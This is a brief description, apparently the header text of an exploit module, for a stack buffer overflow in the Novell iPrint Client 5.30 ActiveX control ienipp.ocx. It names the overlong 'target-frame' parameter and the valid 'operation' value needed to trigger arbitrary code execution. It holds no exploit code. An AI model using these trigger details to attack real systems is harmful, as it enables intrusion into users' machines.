|
|
This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When
|
|
passing an overly long string via the "target-frame" parameter to ienipp.ocx
|
|
an attacker can execute arbitrary code.
|
|
|
|
NOTE: The "operation" variable must be set to a valid command in order to reach this
|

vulnerability.
